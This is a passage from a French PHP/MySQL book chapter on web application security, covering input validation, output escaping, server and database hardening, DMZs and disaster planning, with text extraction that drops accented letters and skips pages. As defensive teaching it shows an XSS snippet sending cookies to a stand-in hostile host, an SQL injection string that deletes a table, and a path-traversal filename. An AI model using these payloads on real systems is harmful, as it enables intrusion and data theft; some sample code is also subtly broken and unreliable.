toujours les trouver l, toute interruption de leur service est un problme.
L aussi, un dni de service peut avoir une autre raison quune mauvaise utilisation.
Mme si nous avons de solides sauvegardes stockes en lieu sr, si limmeuble de nos
serveurs est dtruit par un incendie, emport par une coule de boue ou dtruit par de
petits hommes verts venus de lespace, nous perdrons des clients pour longtemps si
nous ne sommes pas capables de remettre rapidement en ligne nos machines.
Injection de code malicieux
Linjection de code malicieux est un type dattaque qui a prouv son efficacit sur le
Web. Le cas le plus fameux est lattaque par Cross Site Scripting (appel galement
XSS pour ne pas le confondre avec lacronyme des feuilles de style en cascade, CSS).
Ce quil y a de particulirement troublant dans ces attaques est quaucune perte de
donnes nintervient immdiatement mais quen revanche un certain code sexcute et
cause des pertes dinformations diffrents degrs ou des redirections des utilisateurs
quils peuvent ne mme pas remarquer.
Le Cross Site Scripting fonctionne de la faon suivante :
1. Le pirate saisit dans un formulaire destin tre lu par dautres utilisateurs (un
formulaire de commentaire ou de saisie darticle dans un forum web, par exemple)
du texte qui ne reprsente pas seulement le message quil veut saisir, mais qui
contient aussi un script qui sexcute chez le client, comme ici :
<script>
this.document = "va.qquepart.mechant?cookie=" + this.cookie;
</script>
348
Partie III
Scurit
Chapitre 14
349
Employs mcontents
Les employs de notre socit forment un autre groupe dont il faut nous soucier. Ces
employs, pour une raison ou pour une autre, peuvent avoir lintention de nuire leur
entreprise. Quelles que soient leurs motivations, ils peuvent se transformer eux-mmes
en pirates amateurs ou se procurer des outils grce auxquels ils pourront sonder et attaquer les serveurs depuis lintrieur du rseau de la socit. Se protger du monde extrieur tout en restant totalement expos en interne ne sappelle pas tre protg. Cest un
bon argument en faveur de limplmentation dune zone dmilitarise (DMZ, pour
demilitarized zone), que nous tudierons plus loin.
Voleurs de matriel
On omet souvent de se protger contre un simple vol de matriel. Vous seriez surpris de
la facilit avec laquelle on peut pntrer dans les bureaux des grandes socits et sy
promener sans jamais tre suspect. Quelquun qui se rend au bon endroit et au bon
moment peut trouver un serveur flambant neuf et des disques pleins de donnes confidentielles.
Nous-mmes
Bien que ce soit dplaisant entendre, lun des plus gros soucis pour la scurit de nos
systmes sont nous-mmes et le code que nous crivons. Si nous ne faisons pas attention la scurit, si nous crivons du code bcl et que nous ne nous soucions pas de
tester et de vrifier la scurit de notre systme, nous fournissons une aide prcieuse
aux pirates dans leurs tentatives de compromettre nos serveurs.
Si vous faites quelque chose, faites-le correctement. Internet est particulirement impitoyable envers les ngligents ou les fainants. Le plus difficile, pour respecter cette
maxime, est de convaincre les chefs ou ceux qui signent les chques que cela en vaut la
peine. Gnralement, il suffit de leur expliquer pendant quelques minutes les effets
ngatifs dune scurit laxiste pour les persuader que leffort supplmentaire que vous
rclamez est ncessaire dans un monde o la rputation reprsente tout.
350
Partie III
Scurit
Ce code produira laffichage prsent la Figure 14.1. Avec ce formulaire, nous pourrions supposer que la valeur de $ POST[sexe] dans traite_form.php sera ncessairement
Masculin, Feminin ou Autre. Mais nous aurions compltement tort.
Chapitre 14
351
Figure 14.1
Un formulaire
trs simple.
Comme nous lavons dj indiqu, le Web repose sur des messages en texte clair,
envoys via le protocole HTTP. Un clic sur le bouton Envoyer du formulaire ci-dessus
provoque lenvoi de messages textuels destination de notre serveur. Ces messages ont
une structure analogue celle de ces lignes :
POST /traite_form.php HTTP/1.1
Host: www.mamachine.com
User-Agent: WoobaBrowser/3.4 (Windows)
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
sexe=Masculin
nous serions embts un peu plus tard. Une stratgie bien meilleure consiste vrifier
que la donne qui entre fait partie des valeurs admises, comme ici :
<?php
switch ($_POST[sexe]) {
352
Partie III
case Masculin:
case Feminin:
case Autre:
echo <<<EOM
<p align=center>
Flicitations!
</p>
Scurit
EOM;
break;
default:
echo <<<EOM
<p align=center>
<font color=red>ATTENTION:</font>Valeur incorrecte pour le sexe.
</p>
EOM;
break;
}
?>
Il y a un peu plus de code ici, mais nous pouvons au moins tre srs que lon obtiendra
une valeur correcte ; ceci est encore plus important lorsque lon manipule des donnes
plus financires que le genre dun utilisateur. Une rgle gnrale est que vous ne devez
jamais supposer que la valeur envoye par un formulaire appartient un ensemble de
valeurs attendues : vous devez toujours le vrifier.
Filtrer mme les valeurs de base
Les lments des formulaires HTML ne sont pas typs et se contentent de transmettre
au serveur des chanes de caractres (qui peuvent reprsenter des dates, des heures ou
des nombres). Si un formulaire contient un champ "numrique", vous ne pouvez donc
pas supposer que lutilisateur y a vraiment saisi un nombre. Mme avec des environnements o un code ct client particulirement puissant sefforce de vrifier que les
donnes saisies correspondent bien au type attendu, il ny a aucune garantie que ces
valeurs ne seront pas envoyes directement au serveur, comme on la vu dans la section
prcdente.
Un moyen simple de vrifier quune valeur est du type attendu consiste la transtyper
dans ce type et dutiliser le rsultat, comme ici :
$nb_nuitees = (int)$_POST[nb_nuitees];
if ($nb_nuitees == 0) {
echo "ERREUR: Nombre de nuites incorrect pour la chambre!";
exit;
}
Si lutilisateur doit saisir une date sous un certain format, jj/mm/aa par exemple, nous
pouvons vrifier quil sagit bien dune vritable date laide de la fonction checkdate()
Chapitre 14
353
de PHP, qui prend un mois, un jour et une anne sur quatre chiffres en paramtre et qui
renvoie vrai si ces valeurs combines forment une date correcte :
// dcoupe dans un tableau la valeur du champ contenant la "date"
$mmjjaa = split($_POST[date_depart], /);
if (count($mmjjaa)!= 3) {
echo "ERREUR: Format de date incorrect!";
exit;
}
// Gre les annes comme 02 ou 95
if ((int)$mmjjyy[2] < 100) {
if ((int)$mmjjyy[2] > 50) {
$mmjjyy[2] = (int)$mmjjyy[2] + 1900;
} else if ((int)$mmjjyy[2] >= 0) {
$mmjjyy[2] = (int)$mmjjyy[2] + 2000;
}
// sinon elle est < 0 checkdate sen apercevra
}
if (!checkdate($mmjjyy[1], $mmjjyy[0], $mmjjyy[2])) {
echo "ERREUR: Date incorrecte! ";
exit;
}
En prenant le temps de filtrer et de tester la validit des donnes que vous recevez, vous
effectuez un test naturel initial (comme vrifier que la date de dpart pour un ticket
davion est correcte) et vous participez lamlioration de la scurit de votre systme.
Scuriser les chanes pour SQL
Nous devons galement traiter les chanes pour nous prmunir des attaques par injection SQL, comme on la expliqu lorsque nous avons prsent lutilisation de MySQL
avec PHP. Avec ce type dattaque, le pirate tente de tirer parti des programmes mal
protgs et des permissions utilisateur pour excuter du code SQL supplmentaire qui
neffectue pas ncessairement ce que lon souhaite. Si lon ny prend pas garde, un nom
dutilisateur comme :
kitty_cat; DELETE FROM utilisateurs;
Filtrer et protger toutes les chanes envoyes au SGBDR via SQL en utilisant les fonctions mysql_escape_string, mysqli::real_escape_string ou mysqli_real_escape_string.
Sassurer que toutes les donnes reues correspondent ce que lon attend. Si les
noms dutilisateurs sont censs faire moins de 50 caractres et ne comprendre que
des lettres et des nombres, vous pouvez tre sr quun nom se terminant par ";
DELETE FROM utilisateurs" ne doit pas tre autoris. Outre la rduction des
354
Partie III
Scurit
risques, crire du code PHP qui garantit que les donnes reues correspondent aux
valeurs possibles avant de les envoyer au serveur de base de donnes signifie galement que lon peut afficher des messages derreurs plus significatifs que ceux
produits par le SGBDR (pour peu quil vrifie ce genre de choses).
Lextension mysqli fournie avec PHP5 a galement lavantage de nautoriser lexcution que dune seule requte avec mysqli query ou mysqli::query. Pour lancer
plusieurs requtes, vous devez explicitement utiliser les fonctions mysqli multi query
ou mysqli::multi query, ce qui permet dempcher lexcution dinstructions ou de
requtes supplmentaires qui pourraient tre dangereuses.
Protger les sorties
La protection des sorties est presque aussi importante que le filtrage des entres car il
est essentiel dtre certain que les valeurs qui sont entres dans notre systme ne pourront pas causer de dgts. Pour cela, on utilise deux fonctions permettant de garantir
que le navigateur web du client ne pourra se servir de ces valeurs que pour les afficher.
Certaines applications affichent sur une page ce qui a t saisi par lutilisateur. Celles
permettant aux utilisateurs de poster des commentaires sur un article ou les forums de
discussion web sont des exemples typiques de ce qui peut arriver si vous ny prenez pas
garde. Dans ces situations, nous devons vrifier que les utilisateurs ninjectent pas de
balises HTML malicieuses dans le texte quils ont saisi.
Lun des moyens les plus simples consiste utiliser les fonctions htmlspecialchars ou
htmlentities pour convertir en entits HTML certains caractres de la chane qui leur
est passe en paramtre. Pour faire court, une entit HTML sert reprsenter un caractre qui ne peut pas apparatre dans le code HTML ; cest une squence de caractres
spciale commenant par une esperluette (&) et se terminant par un point-virgule. Le
nom de lentit est plac entre ces deux symboles. Ce nom peut ventuellement tre un
code ASCII en dcimal, prfix par le symbole dise (#) : / reprsente ainsi la
barre de fraction (/).
Les balises de HTML tant dlimites par les caractres < et >, il est difficile dutiliser
ces deux symboles dans du texte normal puisque le navigateur supposera quils dlimitent des balises. Pour contourner ce problme, il suffit dutiliser les entits < et >.
De mme, lesperluette ayant une signification spciale puisquelle introduit une entit,
il faut utiliser & pour la reprsenter littralement. Les apostrophes simples et
doubles sont reprsentes, respectivement, par ' et ". Toutes les entits
HTML sont converties en sortie par le navigateur et ne sont donc pas considres
comme faisant partie du balisage.
Les comportements de htmlspecialchars et htmlentities sont diffrents : la premire ne
remplace, par dfaut, que les symboles &, <, > et, ventuellement, les apostrophes doubles
Chapitre 14
355
ou simples. La seconde, en revanche, remplace tout ce qui peut tre reprsent par une
entit nomme. Citons notamment le symbole de copyright , reprsent par © ,
et le symbole euro , reprsent par €. Cependant, les caractres ne seront pas
convertis en entits numriques.
Ces deux fonctions prennent comme deuxime paramtre une valeur indiquant si elles
doivent convertir les apostrophes simples et doubles en entits. Dans les deux cas, le
troisime paramtre indique le jeu de caractres dans lequel est encode la chane (ce
qui est essentiel car nous avons besoin de grer correctement les chanes UTF8). Les
valeurs possibles du deuxime paramtre sont :
m
ENT COMPAT. Les apostrophes doubles sont converties en " mais les apostrophes
simples sont laisses telles quelles.
ENT QUOTES. Les apostrophes simples et doubles sont converties, respectivement, en
' et ".
ENT NOQUOTES (valeur par dfaut). Les apostrophes simples et doubles ne sont pas
converties.
Si on lexcute avec le script PHP qui suit (nous appelons ici la fonction nl2br sur la
chane afin quelle soit correctement formate dans le navigateur) :
<?php
$chaine = htmlspecialchars($chaine_saisie, ENT_NOQUOTES, "UTF-8");
echo nl2br($chaine);
$chaine = htmlentities($chaine_saisie, ENT_QUOTES, "UTF-8");
echo nl2br($chaine);
?>
356
Partie III
Scurit
<br />
<script><br />
// code JavaScript malicieux.<br />
</script><br />
<br />
<p align='center'><br />
Un utilisateur nous a donné "15000€".<br />
</p><br />
<br />
<script><br />
// code JavaScript malicieux.<br />
</script><br />
Chapitre 14
357
Les raisons de cette prcaution tiennent ce qui se passe lorsquun utilisateur envoie
une requte HTTP pour un fichier qui na pas lextension .php ou .html. En effet, de
nombreux serveurs web adopteront en ce cas le comportement par dfaut qui consiste
envoyer le contenu de ces fichiers dans leur rponse. Si objets.php est stock dans
larborescence publique et que lutilisateur demande ce fichier, il pourra voir tout son
contenu safficher dans son navigateur, ce qui lui permettra dtudier limplmentation,
de contourner vos droits dauteur et, ventuellement, de trouver des failles que vous
auriez laisses.
Pour empcher ces situations, assurez-vous que le serveur web est configur pour
nautoriser que les requtes pour des fichiers .php ou .html et pour quil renvoie une
page derreur en rponse aux demandes dautres types de fichiers.
De mme, il est prfrable de stocker lextrieur de larborescence publique du
serveur tous les autres fichiers tels que les fichiers de mots de passe, les fichiers texte,
les fichiers de configuration ou les rpertoires spciaux. Mme si vous pensez que votre
serveur web est configur correctement, vous pouvez avoir omis un dtail. En outre,
votre application web peut tre plus tard dplace sur un serveur mal configur et vous
vous retrouveriez nouveau expos.
Si la directive allow url fopen a t active dans php.ini, nous pouvons thoriquement inclure des fichiers stocks sur des serveurs distants. Ce serait un autre risque pour
la scurit pour notre application : il est prfrable dviter linclusion de fichiers stocks sur dautres machines que le serveur, surtout si vous navez pas le contrle de ces
machines. De mme, il ne faut pas se servir de ce qua saisi lutilisateur pour choisir les
fichiers inclure, car une saisie errone pourrait poser problme.
Contenu du code
La plupart des extraits de code pour accder aux bases de donnes que nous avons
prsents contenaient le nom de la base, le nom de lutilisateur et son mot de passe en
texte clair, comme ici :
$conn = @new mysqli("localhost", "bob", "secret", "ma_base");
Bien que cela soit pratique, ce nest pas trs scuris puisque des pirates pourraient
mettre la main sur votre fichier .php et auraient ainsi un accs immdiat votre base
avec tous les droits de bob.
Il est donc prfrable de placer le nom de lutilisateur et son mot de passe dans un
fichier qui ne se trouve pas dans larborescence des documents du serveur et de
linclure dans votre script, comme ici :
<?php
// connexion_bd.php
358
Partie III
Scurit
$serveur_bd = localhost;
$utilisateur_bd = bob;
$mdp_bd = secret;
$nom_bd = ma_bd;
?>
<?php
include(../code/connexion.php);
$conn = @new mysqli($serveur_bd, $utilisateur_bd, $mdp_bd, $nom_bd);
// etc
?>
Vous devez procder de la mme manire avec toutes les autres donnes confidentielles
pour lesquelles vous souhaitez ajouter une couche de protection supplmentaire.
Considrations sur le systme de fichiers
PHP peut manipuler le systme de fichiers local. En ce qui nous concerne, ceci a deux
implications :
m
Est-ce que tous les fichiers que nous crons sur le disque seront visibles par les
autres ?
Si lon expose cette fonctionnalit aux autres, pourront-ils accder aux fichiers que
lon ne veut pas leur montrer, comme /etc/passwd ?
Il faut faire attention ne pas crer de fichiers avec des permissions ouvertes tout le
monde et ne pas les placer un endroit o les autres utilisateurs dun systme comme
Unix pourraient accder.
En outre, il faut tre trs prudent lorsque lon autorise les utilisateurs saisir le nom du
fichier quils souhaitent consulter. Si la racine de larborescence publique du serveur est
c:\webs\forum\documents et que cette arborescence comprend un rpertoire dans lequel
on a plac de nombreux fichiers accessibles aux utilisateurs qui peuvent saisir les noms
des fichiers quils veulent consulter, nous aurons des problmes sils demandent :
..\..\..\php\php.ini
Chapitre 14
359
360
Partie III
Scurit
Il existe une version Windows de cette commande et Windows lui-mme est fourni avec
le programme findstr.exe, qui fait la mme chose. Le script suivant permet donc de
trouver les personnes qui sappellent "Dupont" :
<?php
// -i pour ignorer la casse
$utilisateurs = `grep i dupont /home/httpd/www/num_tel.txt`;
// Place les lignes de la sortie dans un tableau
// Attention, remplacer \n par \r\n avec Windows!
$lignes = split($utilisateurs, "\n");
foreach ($lignes as $ligne) {
// Les noms et les numros sont spars par le caractre ,
$nom_num = split($ligne, ,);
echo "Nom: {$nom_num[0]}, Tl: {$nom_num[1]}<br/>\n";
}
?>
Si vous autorisez lutilisateur fournir la commande place entre les apostrophes inverses, vous vous exposez toutes sortes de problmes de scurit et vous devrez filtrer
trs soigneusement la chane qui vous a t passe si vous voulez garantir la scurit de
votre systme. Au pire, utilisez la fonction escapeshellcmd, mais cest un minimum et
vous devrez utiliser un filtrage plus efficace pour plus de scurit.
Pire encore : comme le serveur web et PHP sexcutent gnralement dans un contexte
ayant les permissions minimales (voir les sections suivantes), vous devrez leur donner
plus de droits pour excuter certaines de ces commandes, ce qui peut compromettre
Chapitre 14
361
362
Partie III
Scurit
Pour chaque programme, crivez toujours un petit "script" dinstallation que vous utiliserez chaque fois que vous installez une nouvelle version du logiciel. De la sorte, vous
tes sr de ne pas oublier quelque chose dimportant dont labsence pourrait poser
problme plus tard. Le nombre dtapes est tel quil est quasiment certain que vous ne
vous rappellerez pas les dtails exacts chaque fois que vous lancez une installation.
Dployer la nouvelle version
Il ne faut jamais installer un nouveau programme directement sur le serveur en production. Vous devez toujours disposer dun serveur de tests sur lequel installer les programmes et les applications web et vous assurer que tout fonctionne correctement. Cest tout
spcialement vrai avec un langage comme PHP, o certains rglages par dfaut changent entre les versions : il faut imprativement lancer une suite de tests et lutiliser en
pratique avant de pouvoir tre certain que la nouvelle version du logiciel naffecte pas
malencontreusement votre application.
Vous navez pas besoin de dpenser des milliers deuros pour acheter une nouvelle
machine rserve aux tests et aux essais de configuration. De nombreux programmes,
comme VMware ou Virtualbox, permettent dsormais de crer des machines virtuelles
et de lancer un systme dexploitation dans le vtre.
Aprs avoir vrifi que la nouvelle version du logiciel fonctionne correctement avec
votre application web, vous pouvez le dployer sur les serveurs en production. Vous
devez tre absolument sr que ce processus est soit automatis, soit dcrit par un script
sur papier (ou sur disque) afin de suivre la squence dtapes exacte et de rpliquer
lenvironnement correct du serveur. Pour finir, effectuez quelques tests sur le serveur
afin de vrifier que tout fonctionne correctement (voir Figure 14.2).
Figure 14.2
Mise jour
du logiciel serveur.
Compilation
1. Construire le serveur
2. Construire PHP
3. Crer les fichiers
de configuration
4. Configurer
les documents
Tests
1. Vrifier son
fonctionnement
de base
2. Lancer les suites
de tests
3. Lancer les tests
unitaires
4. Lancer des tests
de stress
Dploiement
1. Copier sur le serveur
2. Vrifier son
fonctionnement
de base
3. Lancer les suites
de tests
4. Lancer les tests
unitaires
5. Effectuer quelques
test ad hoc
Chapitre 14
363
de mbstring commencent par mbstring alors que les options lies aux sessions (voir
Chapitre 21) sont prfixes par session.
Il existe un grand nombre doptions de configuration pour des modules que nous nutiliserons jamais ; si ces modules sont dsactivs, il nest pas ncessaire de soccuper de
leurs options puisquelles seront ignores. En revanche, il est important de consulter la
documentation en ligne de PHP (www.php.net/manual) pour connatre les options
fournies par les extensions que lon utilise et leurs valeurs possibles.
L encore, il est fortement conseill de faire des sauvegardes rgulires de php.ini ou
dcrire quelque part les modifications que lon y a apportes afin dtre sr quelles
sont toujours l aprs avoir install une nouvelle version.
Le seul pige de cette configuration est quun logiciel ancien crit en PHP peut exiger
que les options register globals et/ou register long arrays soient actives. En ce
cas, vous devez choisir entre ce logiciel et le risque quil fait courir la scurit. Vous
pouvez attnuer ce risque en recherchant rgulirement les correctifs de scurit et les
autres mises jour de ce logiciel.
Configurer le serveur web
Une fois que lon a confiance dans son installation de PHP, on peut passer celle du
serveur web. Chaque serveur utilise sa propre configuration pour la scurit et nous
prsenterons ici celles des deux serveurs les plus connus : Apache et Microsoft IIS.
Le serveur Apache
Bien que le serveur httpd soit fourni avec une configuration par dfaut relativement
scurise, nous devons vrifier quelques points avant de lutiliser dans un environnement de production. Toutes les options de configuration se trouvent dans le fichier
httpd.conf, qui se trouve gnralement dans le sous-rpertoire conf du rpertoire de
base de linstallation (/usr/local/apache/conf ou c:\Apache\conf, par exemple). Vous
devez avoir lu attentivement les sections concernant la scurit dans la documentation
en ligne du serveur (httpd.apache.org/docs-project).
Assurez-vous deffectuer les tapes suivantes :
m
Vrifiez que httpd sexcute sous le compte dun utilisateur (nobody ou httpd sous
Unix, par exemple) qui na pas les privilges administrateur. Cet utilisateur est
dfini par les options User et Group dans httpd.conf.
Vrifiez que les permissions des fichiers du rpertoire dinstallation dApache sont
correctes. Avec Unix, cela implique de vrifier que tous les rpertoires, sauf la
racine de larborescence des documents (qui est, par dfaut, le rpertoire htdocs/)
appartiennent root et ont les permissions 755.
364
Partie III
Scurit
Vrifiez que le serveur est configur pour pouvoir traiter un nombre correct de
connexions simultanes. Avec les versions 1.3.x dApache, fixez la valeur de Max
Clients avec un nombre raisonnable de clients (la valeur par dfaut, 150, convient
gnralement mais vous pouvez laugmenter si vous vous attendez une charge
plus leve). Avec les versions 2.x dApache, qui utilisent les threads, vrifiez la
valeur de ThreadsPerChild (la valeur par dfaut, 50, convient gnralement).
Cachez les fichiers que vous ne voulez pas montrer en incluant les directives
adquates dans httpd.conf. Pour cacher les fichiers .inc, par exemple, ajoutez la
directive suivante :
<Files ~ "\.inc$">
Order allow, deny
Deny from all
</Files>
Comme on la indiqu plus haut, vous devez galement dplacer ces fichiers en dehors
de larborescence des documents du site web.
Le serveur IIS de Microsoft
La configuration de IIS nutilise pas un fichier de configuration comme Apache, mais
vous devez quand mme effectuer un certain nombre de rglages pour scuriser votre
installation :
m
m
vitez que les sites web se trouvent sur le mme disque que le systme dexploitation.
Utilisez le systme de fichiers NTFS et prenez du temps pour supprimer les droits
dcriture aux endroits appropris.
Supprimez tous les fichiers installs par IIS dans larborescence des documents car
il y a de fortes chances pour que vous nen ayez jamais besoin. Le rpertoire inetpub
contient un grand nombre de fichiers dont vous naurez pas besoin si vous nutilisez pas
les outils de configuration en ligne (ce que vous ne devez pas faire : utilisez lutilitaire iisadmin la place).
vitez dutiliser des noms classiques. Un grand nombre de programmes hostiles
recherchent les scripts et les programmes dans les sous-rpertoires Scripts, cgi-bin,
bin, etc. de votre arborescence des documents.
Chapitre 14
365
extrmes, certains services dhbergement ne permettent mme pas de crer des rpertoires
lextrieur de larborescence des documents, ce qui nous prive dun endroit sr
pour stocker les fichiers inclus. Heureusement, la plupart de ces socits veulent conserver
leurs clients et font donc des efforts pour assurer la scurit des applications.
Vous pouvez et devez passer par quelques tapes avant de choisir un service dhbergement
et dy dployer vos applications :
m
366
Partie III
Scurit
scurit de tous les SGBDR utilisables dans nos applications web ncessiterait un
ouvrage complet, aussi nous contenterons-nous de prsenter quelques stratgies gnrales.
Utilisateurs et systme de permissions
Passez du temps comprendre le systme dauthentification et de permissions de votre
SGBDR. Un nombre tonnant dattaques russissent simplement parce que lon na pas
pris le temps de vrifier que le systme est scuris.
Assurez-vous que tous les comptes ont des mots de passe. Lune des premires oprations raliser sur un SGBDR consiste vrifier que le compte administrateur de la
base de donnes possde un mot de passe. Vrifiez galement que ces mots de passe ne
contiennent pas des mots du dictionnaire : mme un mot de passe comme 44chevalA
est moins sr que FI93!!xl2@. Si vous vous inquitez de la mmorisation de ces mots
de passe, utilisez par exemple la premire lettre de tous les mots dune phrase, en
mlangeant minuscules et majuscules, comme LaQsBsLbP pour "Les amoureux qui se
bcotent sur les bancs publics?" (Georges Brassens).
De nombreux SGBDR (dont les anciennes versions de MySQL) crent lors de leur
installation un utilisateur anonyme qui possde plus de privilges que vous ne le
souhaiteriez probablement. Pendant que vous tudiez le systme de permissions, assurez-vous que les ventuels comptes par dfaut font exactement ce que vous voulez
quils fassent et supprimez ceux qui ne le font pas.
Vrifiez que le compte administrateur a accs aux tables des permissions et aux bases
de donnes administratives. Les autres comptes ne devraient pouvoir accder ou modifier
que les bases ou les tables dont ils ont strictement besoin.
Pour le tester, essayez les oprations suivantes et vrifiez quelles provoquent des
erreurs :
m
Chapitre 14
367
Connexion au serveur
Il existe quelques moyens de maintenir la scurit des SGBDR en contrlant leurs
connexions. Lun des plus simples consiste limiter les personnes autorises se
connecter. De nombreux systmes de permissions utiliss dans les SGBDR permettent
de prciser non seulement le nom de lutilisateur et son mot de passe, mais galement
les machines partir desquelles il est autoris se connecter. Si le SGBDR est sur la
mme machine que le serveur web et que PHP, il est certainement assez logique de
nautoriser que les connexions provenant de localhost ou de ladresse IP de cette
machine. Si le serveur web est toujours sur un mme ordinateur, il est peu prs normal
de nautoriser les utilisateurs se connecter la base qu partir de cette machine.
De nombreux SGBDR autorisent les connexions chiffres (gnralement via SSL). Si vous
devez vous connecter un SGBDR depuis Internet, utilisez ce type de connexion sil est
disponible. Sinon vous pouvez passer par un tunnel qui permet deffectuer une connexion
368
Partie III
Scurit
scurise entre deux machines : le principe consiste crer une connexion scurise dans
laquelle on passe ensuite les autres connexions (comme HTTP ou SMTP).
Enfin, assurez-vous que le SGBDR a t configur pour traiter plus de connexions que le
serveur web et PHP ne pourront lancer. Nous avons expliqu plus haut quApache 1.3.x,
par dfaut, pouvait lancer 150 serveurs ; le nombre de connexions autorises par dfaut
dans le fichier my.ini de MySQL tant de 100, votre configuration est dj incorrecte.
Pour corriger ce problme, il suffit de modifier le fichier my.ini :
max_connections=151
Nous avons ajout une connexion supplmentaire car MySQL garde toujours une de
ces connexions pour ladministrateur. Mme si le serveur est totalement charg, ladministrateur de la base pourra donc quand mme se connecter.
Excution du serveur
Pour lexcution du SGBDR, vous pouvez prendre quelques mesures pour assurer sa
scurit. Avant tout, il ne devrait jamais sexcuter sous le compte de ladministrateur
du systme (root avec Unix, administrateur avec Windows). En effet, sil est
compromis, cest tout le systme qui serait en dtresse. En fait, MySQL refuse de
sexcuter lorsquil est lanc sous ce compte, sauf si vous le forcez le faire (ce qui
serait vraiment une trs mauvaise ide).
Aprs avoir configur le SGBDR, la plupart des programmes exigeront que vous
modifiiez le propritaire et les permissions des rpertoires et des fichiers de la base
pour les protger des yeux indiscrets. Assurez-vous de le faire et que ces fichiers ne
restent pas la proprit de ladministrateur systme ; sinon le processus du serveur
(qui ne tourne pas sous le compte du superutilisateur) ne pourrait mme pas crire
dans ses propres fichiers.
Enfin, lorsque vous travaillez avec le systme de permissions et dauthentification,
crez les utilisateurs avec le moins de permissions possible. Au lieu de leur octroyer un
large ensemble de droits "parce quils pourraient en avoir besoin un jour", donnez-leur
le minimum de permissions et najoutez les autres que quand cela devient absolument
ncessaire.
Protger le rseau
Vous disposez de quelques moyens pour scuriser le rseau sur lequel se trouve votre
application web. Bien que les dtails exacts dpassent le cadre de ce livre, ils sont relativement simples comprendre et ils ne protgeront pas que vos applications web.
Chapitre 14
369
Installation de pare-feux
Tout comme lon doit filtrer les donnes qui parviennent notre application PHP, nous
devons galement filtrer tout le trafic qui arrive sur notre rseau, que ce soit dans nos
bureaux ou dans un data center qui hberge nos serveurs et nos applications.
Pour ce faire, on utilise un pare-feu, qui peut tre un logiciel sexcutant sur un systme
dexploitation comme FreeBSD, Linux ou Windows, ou un matriel ddi. Le travail
dun pare-feu consiste liminer le trafic indsirable et bloquer laccs aux parties
dun rseau que lon veut isoler.
Le protocole TCP/IP sur lequel repose Internet utilise des ports, chacun deux tant
ddi un type de trafic particulier (HTTP, par exemple, utilise le port 80). Un grand
nombre de ports servent strictement au trafic interne et ont peu dutilit dans les interactions avec le monde extrieur. En interdisant le trafic dentrer et de sortir de notre rseau
par ces ports, nous rduisons le risque que nos ordinateurs ou nos serveurs (et donc nos
applications web) soient attaqus.
Utilisation dune DMZ
Comme nous lavons dj voqu dans ce chapitre, nos serveurs et nos applications web
courent le risque dtre attaqus non seulement de lextrieur, mais galement par des utilisateurs internes. Bien que ces derniers soient moins nombreux, ils ont souvent la possibilit
de causer plus de dgts puisquils connaissent bien le fonctionnement de leur socit.
Un moyen de limiter ce risque consiste mettre en place une zone dmilitarise
(DMZ). On peut ainsi isoler les serveurs qui excutent nos applications web (et les
autres, comme les serveurs de courrier de la socit) la fois du monde extrieur et du
rseau interne, comme le montre la Figure 14.3.
Zone dmilitarise
Pare-feu
Intranet
Serveur
web
Pare-feu
Serveur
web
Serveur
de fichiers
Figure 14.3
Mise en place dune zone dmilitarise (DMZ).
Serveur
de bases
de donnes
Intranet
370
Partie III
Scurit
Ils protgent les serveurs et les applications des attaques provenant de lintrieur et
de lextrieur de votre rseau.
Ils protgent votre rseau interne en plaant des couches supplmentaires de parefeux et plus de scurit entre votre rseau et Internet.
La conception, linstallation et la maintenance dune DMZ doit tre entreprise avec les
administrateurs rseau de lendroit o vous hbergez votre application web.
Prparation contre les attaques DoS et DDoS
Les attaques par dni de service (DoS) font partie des attaques actuelles les plus
effrayantes. Les attaques DoS et leurs versions distribues encore plus alarmantes
(DDoS) utilisent des ordinateurs infects, des vers ou tout autre moyen pour exploiter
les faiblesses des installations des logiciels, voire celles inhrentes la conception de
certains protocoles comme TCP/IP. Elles saturent alors un ordinateur et lempchent de
rpondre aux requtes de connexion manant de ses clients lgitimes.
Ce type dattaque, malheureusement, est trs difficile prvoir et contrer. Certains
constructeurs de matriel rseau vendent des quipements permettant de limiter les
risques et les effets des attaques DoS, mais ce ne sont pas encore des solutions radicales.
Votre administrateur devrait au moins chercher comprendre la nature du problme et
les risques auxquels sont exposs votre rseau et vos installations. Ajout aux changes
avec votre FAI (ou tout organisme qui hberge les machines de votre FAI), cela vous
prparera au cas o une attaque de ce type se prsente. Mme si cette attaque nest pas
directement dirige contre vos serveurs, ils peuvent quand mme sen retrouver les
victimes.
Chapitre 14
371
372
Partie III
Scurit
m
m
Des parties de votre data center ont t dtruites au cours dune catastrophe.
Votre quipe de dveloppement est partie djeuner et a t renverse par un bus et
srieusement blesse (voire tue).
Les bureaux de la direction de votre socit ont brl.
Un pirate ou un employ mcontent a russi dtruire toutes les donnes sur les
serveurs de vos applications web.
Bien que la plupart des gens naiment pas voquer les dsastres et les attaques, la dure
ralit fait que ces situations arrivent (heureusement, assez rarement). Les entreprises,
cependant, ne peuvent pas se payer le luxe de rester figes lorsquun vnement de cette
importance survient et quelles ny sont pas prpares. Une socit ayant un chiffre
daffaires quotidien de plusieurs millions deuros serait dvaste si ses applications web
ne fonctionnaient plus pendant plus dune semaine.
En se prparant ces vnements, en les anticipant avec des plans dactions clairs et en
rptant certaines parties critiques, un petit investissement financier peut conomiser
notre entreprise des pertes ventuellement dsastreuses si un vritable problme survenait
un jour.
Voici certaines des mesures qui pourront vous aider prparer les dsastres et les
rparer :
m
Assurez-vous que toutes les donnes sont sauvegardes quotidiennement et que les
sauvegardes sont stockes sur un autre site. Si votre data center est dtruit, vous
disposerez encore des donnes.
crivez des scripts, galement ailleurs que sur le site, expliquant comment recrer
les environnements des serveurs et configurer lapplication web. Faites au moins
une rptition de ces procdures de reconfiguration.
Chapitre 14
373
Conservez une copie complte du code source ncessaire votre application web,
galement stocke ailleurs que sur le site.
Pour les quipes importantes, interdisez que tous les membres de lquipe se dplacent dans le mme vhicule (voiture ou avion) afin quil y ait moins de consquences
en cas daccident.
Utilisez des outils automatiques pour surveiller le fonctionnement du serveur et
dsignez un "oprateur durgence" qui devra se rendre dans les locaux lorsquun
problme survient, mme en dehors des heures de bureau.
Mettez en place un accord avec un fournisseur afin de disposer immdiatement de
nouveaux matriels si votre data center est dtruit. Il serait assez frustrant de devoir
attendre 4 6 semaines pour recevoir de nouveaux serveurs.
Pour la suite
Au Chapitre 15, nous tudierons plus en dtail lauthentification des utilisateurs. Nous
prsenterons plusieurs mthodes diffrentes dont lutilisation de PHP et de MySQL
pour authentifier les visiteurs.
15
Authentification avec PHP
et MySQL
Ce chapitre explique comment implmenter diffrentes techniques dauthentification
des utilisateurs laide de PHP et de MySQL.
376
Partie III
